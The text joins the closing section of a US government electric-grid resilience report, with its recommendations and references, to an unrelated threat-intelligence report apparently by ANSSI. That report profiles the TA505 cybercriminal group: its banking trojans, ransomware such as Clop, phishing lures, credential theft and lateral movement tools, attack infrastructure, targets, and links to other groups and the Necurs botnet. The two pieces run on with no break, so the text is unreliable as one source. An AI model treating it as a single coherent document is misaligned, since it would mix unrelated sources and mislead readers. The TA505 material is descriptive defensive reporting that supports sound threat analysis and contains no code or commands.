- Work with State and local emergency managers and energy assurance planners to apply such technology where the benefits outweigh the costs.
- Electric equipment lacks protection from natural hazards, accidents, or sabotage.
- Determine whether equipment is at risk to natural hazards, accidents, or sabotage.
- Harden at-risk equipment against natural disasters, such as flooding. Move at-risk equipment to higher ground or build flood containment structures. Develop flood mitigation plans for at-risk substations.
- Install protective measures, such as fencing and bollards, around equipment that is at risk of sabotage or accident and, if necessary, install fire/blast walls to protect adjacent equipment.
### FOR COMMUNITY RISK MANAGEMENT ENTITIES
- State and local emergency management agencies lack information on equipment and resource reserves in other agencies or neighboring States or communities.
- Work with the local utility to understand private sector capabilities and resources.
- Develop memoranda of understanding or agreements with utilities for resource sharing and identify other areas where the Government and private sector can share resources.
- State and local emergency management agencies lack information on prioritizing fuel deliveries to critical governmental emergency response agencies and to privately owned, critical infrastructure facilities that are dependent on emergency generators or need fuel for repair vehicles.
- Governmental agencies should ensure that emergency operations centers have identified critical equipment and determined the emergency generation capabilities, including fuel needs.
- State and local energy assurance plans should include provisions for the distribution of petroleum fuels to priority government and privately owned critical infrastructure and lifeline sector customers following a disaster.
- In the event of severe fuel shortages during which suppliers need to ration the fuel supply for an extended period (1 month or longer), implement a statewide set-aside program or priority end-user program.
- Review governmental contracts to assess the potential impact of Excuse by Failure of Presupposed Conditions provisions under Uniform Commercial Code Section 2-615, as adopted in each State.
- Citizens need to be better informed on the necessary steps to take to help ensure personal resilience and preparedness for prolonged electric power outages.
- Conduct outreach to inform citizens of steps they can take to prepare for a blackout; such outreach will also aid local utilities by reducing calls for information and damage/distress calls.
- Emergency response agencies may not always communicate effectively with the population.
- Use social media to communicate in disaster preparation, response, and recovery.
- Electric utilities are not part of the State and local emergency response planning process.
- To improve communication among electric distribution providers, customers, and State and local emergency response organizations, ensure that utility reporting content and point-of-contact information are built into State and local emergency response plans.
- State and local energy assurance plans may not be incorporated into emergency planning, are not updated, and are not exercised regularly.
- Incorporate energy emergencies into State and local exercises. Link energy assurance plans with Emergency Support Function-12 activities to better engage with industry.
### FOR ELECTRIC POWER CUSTOMERS
- Electrical equipment and backup generators lack protection from natural hazards, accidents, or sabotage.
- Identify equipment that is at risk of flooding, surge, accident, or sabotage.
- Consider hardening facility-owned electrical equipment and emergency generators against unauthorized access.
- Develop storm surge and flood mitigation plans for at-risk electric equipment and emergency generators; move at-risk equipment to higher ground.
- There is a lack of redundancy in electric power service.
- Consider requesting redundant service lines that can support the full facility load, are not collocated with other utility corridors, and are connected to different utility subsystems.
- Consult with utility providers, which often have programs to provide expert technical consultation to determine the best configuration for critical service lines.
- Customers have not assessed the electric power dependencies of their core functions and have not determined the business continuity impacts from the prolonged loss of externally supplied electric power.
- Conduct a business impact analysis to ensure that backup generation has sufficient capacity to support all critical functions (e.g., security systems and communication and IT equipment) simultaneously and then define the onsite emergency power capability (e.g., safe system shutdown versus full core function capability versus reduced core function capability).
- Conduct a feasibility study to determine required onsite emergency power needs before selecting generation equipment or incorporating provisions for onsite emergency power generation into business continuity plans.
- Determine the amount of fuel that would need to be stored onsite to allow continued operation of emergency generation equipment in the event of fuel supply disruptions.
- Customers may not have contracts in place to ensure continued delivery of fuel needed for onsite emergency power generation following a major disaster.
- Review fuel contracts to determine the potential impacts of Excuse by Failure of Presupposed Conditions provisions under Uniform Commercial Code Section 2-615, as adopted in each State.
- For critical lifeline system assets, consider arranging for multiple fuel providers in the event of a prolonged outage.
- Consult with the manufacturer of emergency generator equipment to determine its potential to use alternative fuels (e.g., diesel and natural gas or diesel and jet fuel).
- Customers have not tested emergency generators at load to ensure that they will operate as designed.
- Conduct scheduled load tests on emergency generators.
- Enroll emergency generators in a preventative maintenance program (e.g., through a contracted service).
- Ensure that facility personnel are trained in the operation of the emergency generation equipment.
- Critical infrastructure customers lack emergency planning that includes addressing the loss of electric power and do not train or exercise this contingency.
- Develop or amend emergency or business continuity plans to address the long-term loss of electric power; train personnel in implementing backup equipment and alternate operational procedures; and finally, exercise plans at least annually.
- Investigate contingency plans with electric power providers, including priority service restoration based on criticality to disaster recovery.
- Review electric utility service contracts to confirm that firm electric service is available for critical functions and understand contractual provisions for the utility’s voluntary reduction options, as well as its load-shedding priorities.
- Critical infrastructure customers lack emergency power capability to improve core function resilience.
- Install onsite emergency generators, or consider installing appropriate connections and entering into contracts for the delivery of portable emergency generators, following an emergency event.
- Place emergency generators away from other electrical equipment so that a single event will not impact both main power and emergency power equipment.
- Consider alternatives to emergency generators, including using large equipment with electric generating capabilities such as railroad locomotives, ships, or even tractors.
- Install battery backup systems for safe shutdown to prevent equipment damage from loss of electric power.
- Many electric power providers will provide consultation to determine whether onsite generation equipment (distributed generation) is feasible and cost-effective; make use of this resource, if it is available.
## APPENDIX
### RESILIENCE ISSUES AND BEST PRACTICES: REFERENCES AND RESOURCES
The following references provide more in-depth information on the Electric Transmission and Distribution Segment, including vulnerabilities, gaps, resilience technology, and other sector-specific guidance.
- **ABB**: U.S. Rapid Recovery Transformer Initiative Succeeds Using Specially-Designed ABB Transformers, October 4, 2012.
- **Argonne National Laboratory**: Resilience: Theory and Applications, January 2012.
- **DOE**: Smart Grid Investment Grant Program (a public-private partnership to accelerate investments in grid modernization), July 2012.
- **DHS**: Power Hungry: Prototyping Replacement EHV Transformer, 2012.
- **Environmental Protection Agency (EPA)**: Is Your Water or Wastewater System Prepared? What You Need to Know about Generators, 2012.
- **Federal Emergency Management Agency (FEMA)**: Crisis Response and Disaster Resilience 2030: Forging Strategic Action in an Age of Uncertainty, January 2012.
The Office of Cyber and Infrastructure Analysis (OCIA) produces Sector Resilience Reports to improve partner and stakeholder understanding of the interdependencies and resilience of certain aspects of specific sectors. The information is provided to support the activities of the Department and to inform the strategies of Federal, State, local, and private sector partners designed to deter, prevent, preempt, and respond to all-hazard disruptions to infrastructure in the United States. For more information, contact [email protected]. |
# Development of the Activity of the TA505 Cybercriminal Group
## 1 TA505 from 2014 to 2017
It would seem that the TA505 intrusion set goes back to at least 2014 but was only mentioned publicly for the first time on Twitter in 2017. Until 2017, its activity seems to have been confined to the distribution of trojans and ransomwares.
### 1.1 Malware Distributed
#### 1.1.1 Banking Trojans
In terms of final payload, TA505 has always widely used banking trojans that are not specific to it, such as Dridex and Trickbot.
**Dridex**
TA505 is supposed to have distributed the Dridex malware as of July 2014, i.e., one month after its creation (June 2014). Its use of specific ID botnets within the Dridex network of botnets, controlled by the Evil Corp cybercriminal group, would suggest that TA505 was a Dridex affiliate from 2014 to 2017. ID botnets used by TA505 between 2014 and 2015 would have been botnet IDs 125, 220, and 223. The 220 botnet is thought to have contained 9650 bots in April 2015 and mainly targeted banks, particularly in France. In 2016, TA505 is thought to have mainly concentrated on the use of Locky ransomware, to the detriment of Dridex malware, then resumed propagation of Dridex in 2017 through 7200 and 7500 ID botnets. TA505 finally stopped using Dridex in 2018.
**TrickBot**
TA505 is also thought to have been an affiliate of TrickBot, known under the pseudonym of mac1. The use of TrickBot by TA505 only lasted a few months in 2017. For example, a campaign dating back to June 2017 targeted France and the United Kingdom.
#### 1.1.2 Ransomware
2016 saw the appearance of Locky ransomware. Frequently used, it has targeted many victims. Like Dridex, Locky works on the principle of affiliates. According to Proofpoint, affiliate number 3 of Locky and the affiliate of ID botnet Dridex 220, TA505, have points in common, such as similar lures on their phishing emails and very strong similarities regarding Javascript, VBScript codes, and Microsoft Word macros used. There is also an absence of Dridex 220 campaigns concomitant with the emergence of Locky. Proofpoint also pinpoints links between Locky and the affiliate of Dridex ID botnet 7200, TA505 at this time, comparing Dridex 2017 campaigns with Locky past campaigns. TA505 is therefore presumed to be affiliate number 3 ("Affid=3") of this ransomware. Although the main ransomware used by the group remains Locky, TA505 is thought to occasionally use other ransomwares (Bart, Jaff, Scarab, Philadelphia, GlobeImposter, and GandCrab). Locky stopped operating in 2017.
### 1.2 Distribution and Compromise Methods
TA505 seems to have distributed its malware only through phishing email campaigns. This intrusion set was characterized by its massive use of the Necurs botnet for the distribution of emails. Comment: open source reports associate all ransomwares distributed by the Necurs botnet to TA505. However, some of these ransomwares were used over the same periods. It seems unlikely that TA505 operated as many encryption codes at the same time. It is more likely that Necurs had several clients simultaneously.
This intrusion set relies exclusively over that period on social engineering to run its payload contained in malicious attachments linked to emails. These attachments could be zip or 7zip archives containing VBS script or Javascript to be run by their victims, HTML pages containing malicious Javascript, or Office documents bugged with malicious macros. Although TA505 does not seem to have used software vulnerability to compromise its targets, it is interesting to observe that it has kept up to speed with the latest social engineering techniques. It therefore distributed bugged Office documents via the DDE mechanism less than a month after the potential abuse of this feature became common knowledge.
## 2 Development of TA505 since 2018
The year 2018 was a turning point in the attack methods of the intrusion set. TA505 gradually reduced its distribution of malicious banking codes and ransomwares to move into the distribution of backdoors. However, this intrusion set does not seem to be content with running a payload on its victim’s computer. When it deems it useful, TA505 tries to compromise the entirety of the information system (IS) it penetrated. It also seems, in some cases, to resell access to the backdoors it has installed, which makes it difficult to distinguish between specific TA505 activities and those of potential clients. The chain of attack described in this chapter corresponds to the activities that ANSSI believes are linked to the intrusion set.
### 2.1 Infection Vector
The only infection vector currently known to be used by the TA505 intrusion set is phishing emails including a malicious attachment or link. Until 2018, the intrusion set relied practically exclusively on the Necurs botnet to distribute its payloads. However, following the unavailability of the botnet in January and February 2018, TA505 seems to have less often used its services. This last point, however, is uncertain as there is little information on the alternative email distribution methods of the intrusion set. Given that TA505 has often deployed an email credentials theft implant among its victims, it is possible that it accumulates email addresses to distribute its new phishing campaigns. It has also been mentioned that some of its phishing emails had been distributed via machines infected by the Amadey malware. Given that TA505 also uses Amadey malware, it may have created its own Amadey botnet to distribute its malicious emails, or may use the services of an existing Amadey botnet. This operating mode also usurps the recipient addresses of its emails, which makes it difficult to analyze its email distribution infrastructure.
### 2.2 Social Engineering
The intrusion set continues to rely on social engineering to run its malicious payloads on the machines of its email recipients, using several formats for attachments to work around its targets’ security systems: .url, .iqy, SettingContent-ms, MS publisher files, .wiz and .pub, .iso. The aim of these documents was often to run msiexec commands via macros on the victim’s machine to upload and run malware. However, in the second half of 2019 and first half of 2020, TA505 seems to have modified and stabilized its social engineering scheme. It now sends an HTML page as an attachment containing malicious Javascript code. This code redirects the victim towards a URL of a legitimate but compromised website. This same URL corresponds to an HTML page containing a minimal Javascript code redirecting the victim towards a page hosted by a machine controlled by the intrusion set. This page mimics that of a legitimate file-sharing site adapted to the target such as Onedrive, Dropbox, or Naver (during one of its campaigns in South Korea). The victim is then encouraged to download, open, and enable VBA macros of an Office document, usually Excel, containing a malicious payload.
The intrusion set gradually increases the complexity of its social engineering method. In October 2019, it is thought to have directly sent links towards phishing pages in its malicious emails. It then used URL shorteners to mask these malicious links. In late February 2020, it abandoned the URL shortener strategy and started to use HTML attachments with Javascript with redirection from a compromised site, which made it even more difficult to detect its emails. Furthermore, some of its redirection pages integrate a link towards iplogger.org, a service allowing the intrusion set to inspect IP addresses visiting these pages.
Finally, it has already been observed that the phishing pages of the intrusion set distributed empty Office documents when a person other than the victim visited them. This behavior can be explained by the fact that the intrusion set filters the IP addresses to which it chooses to distribute its malicious documents or only distributes them within limited time slots.
### 2.3 Initial Compromise
TA505 has a varied attack arsenal to be deployed among its victims having run its malicious attachments. It consists of codes available both publicly and commercially on the black market or which seem to be exclusive to it. It therefore has malware development capabilities or financial resources to obtain them. The intrusion set deploys its arsenal in several stages and has different codes for each of them.
#### 2.3.1 Stage 1 Codes
The TA505 intrusion set seems to have tested several stage 1 codes. It briefly used the following codes:
- **QuantLoader** is a simple, low-cost downloader available on the black market. The intrusion set used it from January to April 2018.
- **Marap** is a downloader that seems specific to the intrusion set. Although it has a modular structure and a known reconnaissance module, few attacks using this code have been documented and the intrusion set does not seem to have used it since August 2018.
- **Amadey** is a downloader available on the black market. This code is thought to have been used from April to June 2019 by the intrusion set.
- **Andromut**, also known as Gelup, is a downloader that seems specific to the intrusion set. This code differs from the previous ones by setting up anti-analysis mechanisms. However, no occurrence of this code seems to have been detected apart from in summer 2019.
The TA505 intrusion set therefore does not seem to hesitate to discard some of its malwares in order to test others. Despite that, a trend does emerge: it seems to more regularly use the stage 1 malware Get2, whose backdoor component is also called Friendspeak. Since the first publication of this malware in September 2019, the intrusion set regularly uses it. Get2 performs a basic reconnaissance of the machine it infects by sending to its C2 server information such as the name of the infected machine, the name of the user, the version of the Windows operating system, and a list of active processes on the machine. In return, if the machine is deemed to be of interest, it receives the URL to which it can upload the next stage malware.
#### 2.3.2 Second-Level Codes
Once its stage 1 code has been deployed, the intrusion set can deploy several malwares.
- **FlawedAmmyy** exists since 2016 and is built from the source code of the publicly disclosed legitimate remote-administration tool Ammyy Admin. Although it has RAT features, FlawedAmmyy has also been used by the intrusion set as a stage 1 code. The intrusion set is thought to have used it between March 2018 and September 2019. FlawedAmmyy seems to be exclusively used by TA505 since 2018. However, this backdoor is thought to have been used before this time period, when TA505 did not use this type of code yet. It is therefore not entirely confirmed that FlawedAmmyy is exclusive to TA505.
- **tRat** was used by TA505 in October 2018. Little information is available about this door. Modules need to be downloaded for the backdoor to acquire features, yet none of its modules have been documented.
- **Remote Manipulator System**, also called RMS or RmanSyS, is a legitimate tool developed by the Russian company TEKTONIT, used for malicious purposes. This tool is available free of charge for non-commercial purposes and corrupted versions are also available on the black market. TA505 is thought to have started to deploy this tool from November 2018 until June 2019.
- **ServHelper** comes in two versions: one version acts as a stage 1 code, the other has RAT features. The intrusion set is supposed to have used this backdoor over a period covering at least from November 2018 to August 2019. ServHelper does not seem specific to the intrusion set: several IT security researchers have observed attacks in which it was involved but also using methods and tools that are different from those of TA505.
- **FlawedGrace**, also known as Gracewire, is a backdoor with standard RAT features. It was mentioned for being used for the first time by TA505 in December 2018 and is thought to still be used by it in 2020. Like FlawedAmmyy, TA505 seems for the time being to be the only one to use this backdoor. However, its existence prior to 2018 makes it uncertain whether it was used by TA505 exclusively.
- **FlowerPippi** was detected once in June 2019. This malware has basic RAT features and it is also designed to be used as a stage 1 code by offering initial recognition of the infected system.
- **SDBbot** is malware that seems to be specific to the intrusion set. Its first use was probably September 2019 and the intrusion set has constantly used it since.
### 2.4 Compromising of the Information System
Once its malwares are installed, the intrusion set can try to lateralize itself within a compromised network. Its goal is to become the domain administrator. To achieve this, it uses several methods.
#### 2.4.1 Exploration of the IS
The intrusion set scans the network to collect more information on the IS and discover vulnerable services. One of the tools used by TA505 is the PowerSploit suite, a set of PowerShell scripts available in open-source and used to test the security of an IT network. The intrusion set particularly focuses on the Active Directory of the IS and has already deployed in the past another penetration test tool, PingCastle, to test configuration weaknesses affecting that service. Although crucial to take over the network, the intrusion set does not necessarily seem to perform these operations first. In several cases observed, the intrusion set first tends to try to compromise several other machines before scanning the IS and the Active Directory. The intrusion set seems to continue its network mapping work after having compromised the credentials of a domain administrator. It has already been observed that TA505 used a query software of Active Directory called AdFind on a domain controller to fully map an IS of which it had become the domain administrator.
#### 2.4.2 Increasing Privileges
The method preferred by TA505 to increase its privileges and lateralize throughout a network seems to be the collection of credentials on compromised machines. The Mimikatz collection tool, available free of charge in open-source, is regularly used by the intrusion set and other tools of this type may also have been used. Unconfirmed hypotheses have also been made on the use of MS17-010 vulnerability by the intrusion set.
#### 2.4.3 Lateralisation
To facilitate its lateralisation operations and increase its robustness within a compromised network, the intrusion set has very frequently used Cobalt Strike, a penetration testing framework, and the TinyMet tool. However, TA505 also often uses native Windows tools such as WMIC and RDP to run its malware on new machines by using stolen credentials.
### 2.5 Actions on Objective
#### 2.5.1 IS Encryption
The main goal of the intrusion set is to deploy ransomware. The use of ransomware by this intrusion set goes back to at least 2016 with its use of the Locky malware. Major developments since 2018 can be explained by the fact that TA505 now seeks to use ransomware to compromise entities liable to pay a high ransom (big game hunting) and to encrypt all the machines of the compromised IS. During TA505-related attacks, Clop ransomware, also called Ciop, was deployed. This malware was observed for the first time in February 2019. It has no automatic propagation functions. Consequently, the intrusion set uses some specific tools to deploy it within a whole IT system. Using a script, it deploys a malware, poorly documented in open-source but until now systematically called "sage.exe" by the intrusion set, on several machines. These machines then connect to all the machines of the victim IS to successively run two payloads on each of them with a domain administrator account:
- a malware called DeactivateDefender whose aim is precisely to disable Windows Defender;
- the ransomware itself.
It is probable that TA505 relies on the network mappings performed during the gradual compromission of the IS to choose the machines on which to run "sage.exe" and maximize the impact of its ransomware. An occurrence of use of the Rapid ransomware by TA505 was also observed by the South Korean Financial Security Institute (FSI) in December 2019.
#### 2.5.2 Blackmail
A website was created in March 2020 to publish exfiltrated data of Clop ransomware victims not having paid their ransom, probably to increase pressure on future victims. A release was published by the attackers stating that should a hospital be accidentally victim of their ransomware, the data decrypter would be immediately provided. If, as suggested in section 2.5.3, Clop is specific to TA505, this illustrates the capability of this intrusion set to follow a trend initiated by other ransomware operators. This trend is also interesting as it indicates that the intrusion set is required to exfiltrate data of its victim’s IS. If such data were to exceed a certain volume, it is then probable that TA505 needs to deploy specific tools and infrastructure for this task. Such things have not yet been observed for this intrusion set.
#### 2.5.3 Specificity of Clop for TA505
ANSSI had mentioned a technical link between Clop ransomware and TA505. Indeed, Clop and FlawedAmmyy had been signed by the same valid but malicious security certificate. To this, it is possible to add that these two malwares were compiled in similar environments and modified at the same time to change the letter "l" into "i" uppercase in their chains. Furthermore, they have the same characteristic name "swaqp.exe" in separate attacks. It therefore seems probable that one single intrusion set handles both codes. Given that TA505 is the only one to have been seen to use them since 2018, it seems that both codes are specific to it.
### 2.6 Evasion Methods
The intrusion set multiplies strategies to minimize the detection of its malware. Besides the use of attached documents with unusual formats mentioned in section 2.2, TA505 has also used Excel 4.0 type macros. These very old macros were not often detected by security solutions during their adoption by the intrusion set. Likewise, TA505 relies heavily on native Windows tools, which require closer supervision of the IS to detect their malicious use.
#### 2.6.1 Use of Compression Codes
TA505 uses a compression code to make it more difficult to analyze its malware. This code, called Minedoor, was used to compress both early stage malwares such as FlawedGrace, and final codes deployed by TA505 such as Clop or DeactivateDefender. Although this compression code is a valuable way to monitor TA505’s arsenal, caution is required. Attacks using codes protected by Minedoor with very different kill chains from that of TA505 have already been observed. It therefore seems that this code is not specific to TA505.
#### 2.6.2 Use of Signed Binaries
The intrusion set signs its malware by using legitimate but malicious security certificates. They often take over names of existing businesses. TA505’s codes are therefore more difficult to detect. Like the Minedoor malware, it is not certain that all the malwares signed by the certificates used by TA505 are linked to this intrusion set. Indeed, it may be that TA505 used a third party to sign its codes and that this same third party may reuse those certificates to sign the malware of other intrusion sets.
### 2.7 Attack Infrastructure
As mentioned in section 2.1, the infrastructure used by the intrusion set to distribute its emails is not widely documented. TA505 particularly seems to rent its infrastructure to conduct its operations, in particular to host its malicious Office documents and for its Get2 C2 servers. The life cycle of this infrastructure is usually less than a month and the intrusion set permanently generates new domain names. These domain names often consist of several words separated by "-" and usually try to typosquat file-sharing services such as Onedrive or Onehub for example. TA505 is thought to use a different strategy for the C2 servers of its penetration tools such as TinyMet or Cobalt Strike. It directly uses IP addresses as C2 servers and not domain names but still relies on a rented infrastructure. Little information is available about the infrastructure compromised by TA505. Web servers compromised by the intrusion set were analyzed in February 2019, indicating that several copies of the malicious web console Filesman had been found as well as a non-documented Linux backdoor.
### 2.8 Targeting
Although they only represent a fraction of the intrusion set’s real activity, the table below presents a set of campaigns conducted by TA505, documented in open-source since 2018.
| Period | Targeted Geographical Area | Targeted Sector |
|------------------------------|------------------------------------------------|--------------------------|
| January 2018 | N/A | Automotive industry |
| August 2018 | N/A | Financial |
| September-October 2018 | N/A | Financial |
| November 2018 | N/A | Financial, Retail |
| December 2018 | N/A | Financial, Retail, Food industry |
| November-December 2018 | United States | Distribution, Retail, Catering |
| December 2018 – March 2019 | Chile, India, Italy, Malawi, Pakistan, South Africa, South Korea, China, United Kingdom, France, United States | Financial, Hospitality |
| February 2019 | South Korea | N/A |
| April 2019 | N/A | Financial |
| April 2019 | Chile, Mexico, Italy, China, South Korea, Taiwan | N/A |
| June 2019 | United Arab Emirates, South Korea, Singapore, United States, Saudi Arabia, Morocco | N/A |
| June-July 2019 | United States, Bulgaria, Turkey, Serbia, India, Philippines, Indonesia | Banks |
| June 2019 | Japan, Philippines, Argentina | N/A |
| July-August 2019 | Saudi Arabia, Oman | Government agency |
| July-August 2019 | Turkey | Government agency, Education |
| September 2019 | Canada, United States | N/A |
| September 2019 | Greece, Singapore, United Arab Emirates, Georgia, Sweden, Lithuania | Financial |
| October 2019 | United Kingdom, France, United States | Financial, Healthcare, Retail, Education, Research |
| December 2019 | South Korea | N/A |
| December 2019 | Germany, Netherlands | Education, Pharmaceutical |
| January-March 2020 | United States | Healthcare, Retail |
The financial sector used to be the exclusive target of the intrusion set before 2018 and has remained a regular target since. TA505 has however gradually expanded its victim profile to other new sectors. From a geographical point of view, all the continents are targeted by this intrusion set. A point of interest is the special attention TA505 seems to pay to South Korea. This interest could be linked to the fact that the intrusion set could have been working in connection with the Lazarus intrusion set.
## 3 Links with Other Attacking Groups
### 3.1 Clients
Given its varied arsenal, the broadness of its targets, its sometimes massive, sometimes targeted campaigns, TA505 could well be a hacker-for-hire, i.e., a provider of IS compromise and access qualification services. Its clients will provide it with a list of potential targets which TA505 will try to compromise, to then sell these compromised or qualified accesses to clients. At least two potential clients have been identified by editors: the Lazarus intrusion set known to be tied to North Korean interests in open-sources and the Silence group.
#### 3.1.1 Lazarus
The simultaneous presence of Lazarus and TA505 has already been observed by different sources. In early January 2018, the Vietnamese CERT issued an alert relating to attacks targeting the financial sector, combining indicators of compromise attributed to intrusion sets linked to North Korean interests in open-sources to others attributed to TA505. According to Lexfo, IOCs found simultaneously on bank networks and Powershell scripts, attributed to TA505 and to Lazarus, seem similar. In addition, the specific targeting of South Korea by TA505 could indicate an order from a final client such as an intrusion set known to be linked in open-sources to North Korean interests.
#### 3.1.2 Silence
There are code and infrastructure links between FlawedAmmyy and Truebot (aka Silence.Downloader), a remote administration tool specific to Silence. According to the Group-IB editor, FlawedAmmyy.downloader and Truebot were developed by the same individual. Furthermore, Silence is thought to have attacked at least one bank in Europe via TA505 in order to compromise its IS. Comment: If Silence does indeed call on TA505 for the initial compromise, it would be to change the TTPs, as Silence, from its beginning, in 2016, is autonomous in the sending of phishing emails and initial compromise.
### 3.2 FIN7
According to the Korean Financial Security Institute (FSI), there are similarities between TA505 and the FIN7 cybercriminal group, the successor to Carbanak and now specializing in the theft of credit card information. The two groups are thought to:
- share the IPs of joint C2 servers;
- use FlawedAmmyy, Cobalt Strike, and TinyMet (BabyMetal for FIN7);
- use batch script for internal recognition purposes;
- be lateralized through the RDP protocol and PSExec;
- use Shim Database (SDB) in the same way.
Comment: FIN7 and TA505 could in fact be working together. It seems that the FSI observed that an infection chain in line with those of TA505 deployed malware targeting POS terminals (PoS systems), belonging to FIN7.
## 4 Conclusion
Despite the scale of its activity as an affiliate of Dridex and Locky, TA505 was only identified as such in 2017, at the same time as its first uses of backdoors. Often mistaken for the Evil Corp cybercriminal group (operating the Dridex botnet and BitPaymer ransomware), and sometimes considered to be the operator of the Necurs botnet, TA505 uses a scalable attack arsenal which it implements in varied and sometimes simultaneous campaigns, casting confusion over its motives. As such, the ties it has with Lazarus and Silence suggest that TA505 conducts parallel campaigns for its own behalf and campaigns for its clients. The scale of its campaigns since 2019 and its targeting of several sectors in France make this intrusion set a threat of special concern in 2020.
## 5 Appendix: The Necurs Botnet
### 5.1 Return of the Necurs Botnet
The Necurs botnet (alias CraP2P) first appeared in 2011. Two known botnet modules are:
- spam, used for example:
- during pump and dump campaigns (especially relating to cryptoassets) as in March 2017;
- in 2018, when Necurs acquired a new module .NET spamming;
- between 2016 and 2017, when Necurs propagated the Kegotip banking Trojan through The Uprate loader and The Rockloader, (Loader used to recover email addresses available in hard disks and to use them in future spam campaigns);
- after the dismantling of the Kelihos botnet in 2017, when Necurs was thought to have retrieved some of its business, in particular consisting of dating spam.
- proxy/DDoS (addition of the DoS module in February 2017).
The Necurs botnet communicates with its operators in different ways:
- Its main communication network consists of a list of IP addresses and static hard-coded domains in the sampling of Necurs malware.
- If this method is not capable of obtaining an active C2, Necurs uses its domain generation algorithm (DGA): the main DGA produces 2048 C2 domains every 4 days. When Necurs operators record a DGA domain to inform bots of the existence of a new C2, the domain does not indicate the real IP address of the C2. This IP address is obfuscated with an encryption algorithm. All the domains are tried out until one of them matches and replies using the right protocol.
- If this method also fails, the C2 domain is recovered on the P2P network.
Furthermore, the C2 infrastructure is divided into three levels. The last is the C2 backend. In this way, an infected system communicates with at least two layers of the C2 proxy when it is trying to communicate with the C2 backend. The first C2 layer consists of cheap private virtual servers located in countries like Russia or Ukraine whereas the second layer is usually hosted in Europe, sometimes Russia. There are thought to be 11 Necurs botnets, i.e., 11 C2 backends, tightly controlled by one single group. Four of these botnets represent 95% of all infections.
### 5.2 Massive Distribution by Necurs
From 2016 to 2019, Necurs was the most frequently used method to deliver spams and malware for cybercriminals, and responsible for 90% of malware distributed by email worldwide. 1 million systems were infected in 2016 rising to 9 million on 10 March 2020. Between 2016 and 2017, Necurs mainly distributed Locky, Jaff (copycat of Locky), GlobeImposter, Philadelphia, Lukitus, and Ykcol (variants of Locky) and Scarab ransomware, as well as Dridex and TrickBot banking Trojans. As of August 2018, Necurs started to roll out phishing campaigns targeting financial institutions, while continuing its massive propagation of (FlawedAmmyy, Quant Loader, AZOrult, ServHelper) malware, a majority of which belongs to TA505’s arsenal. In 2020, Necurs lost clients to Emotet, which replaced it in the distribution of Dridex and TrickBot, and distributed massive get-rich-quick spam campaigns. Its daily infections are mainly located in India, Indonesia, Iran, Mexico, Turkey, Vietnam, and Thailand. 4892 infections have been located in France. TA505 is thought to have massively distributed malware via the Necurs botnet, to such an extent that it is possible that the group actually operates this botnet, or at least is very closely tied to its real operator. Comment: although it is possible that TA505 and the operator of the Necurs botnet have been mistaken for each other, it appears that the open-source tends to attribute all campaigns propagated by Necurs to TA505 through to at least late 2017 (pump-and-dump spam campaigns and other frauds being excluded), whereas it is a gigantic botnet probably used by cybercriminal groups other than TA505. Indeed, users of remote-controlled botnets are often capable of renting out access to segments of their botnet on the black market to send DDoS, spam campaigns, etc.
## 6 Bibliography
1. Proofpoint. Threat Actor Profile: TA505, From Dridex to GlobeImposter. Sept. 27, 2017.
2. CERT-FR, “Le Code Malveillant Dridex: Origines et Usages”. In: (May 25, 2020).
3. BITSIGHT, Dridex: Chasing a Botnet from the Inside. Jan. 1, 2015.
4. BitSight. Dridex Botnets. Jan. 24, 2017.
5. TWITTER, “@Kafeine”. In: (Jan. 1, 2019).
6. Secureworks. Evolution of the GOLDEVERGREEN Threat Group. May 15, 2017.
7. PROOFPOINT, “High-Volume Dridex Banking Trojan Campaigns Return”. In: (Apr. 4, 2017).
8. Palo Alto. Locky: New Ransomware Mimics Dridex-Style Distribution. Feb. 16, 2016.
9. Proofpoint. TA505 Shifts with the Times. June 8, 2018.
10. SENSEPOST, “Macro-Less Code Exec in MSWord”. In: (Oct. 9, 2017).
11. TrendMicro. Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi. July 4, 2019.
12. KOREA INTERNET & SECURITY AGENCY, KISA Cyber Security Issue Report: Q2 2019. Aug. 13, 2019.
13. FireEye. STOMP 2 DIS: Brilliance in the (Visual) Basics. Feb. 5, 2020.
14. Proofpoint. Leaked Ammyy Admin Source Code Turned into Malware. Mar. 7, 2018.
15. PROOFPOINT, “TA505 Abusing SettingContent-Ms within PDF Files to Distribute FlawedAmmyy RAT”. In: (July 19, 2018).
16. PROOFPOINT, “tRat: New Modular RAT Appears in Multiple Email Campaigns”. In: (Nov. 15, 2018).
17. PROOFPOINT, “ServHelper and FlawedGrace - New Malware Introduced by TA505”. In: (Jan. 9, 2019).
18. Trend Micro. TA505 At It Again: Variety Is the Spice of ServHelper and FlawedAmmyy. Aug. 27, 2019.
19. Proofpoint. TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Oct. 15, 2019.
20. KOREAN FINANCIAL SECURITY INSTITUTE, “Profiling of TA505 Threat Group”. In: (Feb. 28, 2020).
21. MICROSOFT SECURITY INTELLIGENCE, “Mise à Jour Dudear”. In: (Jan. 30, 2020).
22. PROOFPOINT, “New Modular Downloaders Fingerprint Systems, Prepare for More - Part 1: Marap”. In: (Oct. 16, 2018).
23. TrendMicro. Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. June 12, 2019.
24. Proofpoint. TA505 Begins Summer Campaigns with a New Pet Malware Downloader, AndroMut, in the UAE, South Korea, Singapore, and the United States. July 2, 2019.
25. Cyberint. Legit Remote Admin Tools Turn into Threat Actors’ Tools. Jan. 1, 2019.
26. Blueliv. TA505 Evolves ServHelper, Uses Predator The Thief and Team Viewer Hijacking. Dec. 17, 2019.
27. US-Cert. COVID-19 Exploited by Malicious Cyber Actors. Apr. 8, 2020.
28. FOX IT Reactie Universiteit Maastricht Op Rapport FOX-IT. Feb. 5, 2020.
29. Bleeping Computer. Three More Ransomware Families Create Sites to Leak Stolen Data. Mar. 24, 2020.
30. ANSSI, “Informations Concernant Le Rançongiciel Clop”. In: (Nov. 22, 2019).
31. Deutsch Telekom. TA505’s Box of Chocolate - On Hidden Gems Packed with the TA505 Packer. Mar. 26, 2020.
32. Cyware. The Many Faces and Activities of Ever-Evolving Necurs Botnet. Dec. 29, 2019.
33. MORPHISEC, “Morphisec Uncovers Global “Pied Piper” Campaign”. In: (Nov. 29, 2018).
34. PROOFPOINT, “TA505 Targets the US Retail Industry with Personalized Attachments”. In: (June 12, 2018).
35. Cybereason. Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Apr. 25, 2019.
36. Yoroi. TA505 Is Expanding Its Operations. May 29, 2019.
37. BLEEPINGCOMPUTER, “Ransomware Hits Maastricht University, All Systems Taken Down”. In: (Dec. 27, 2019).
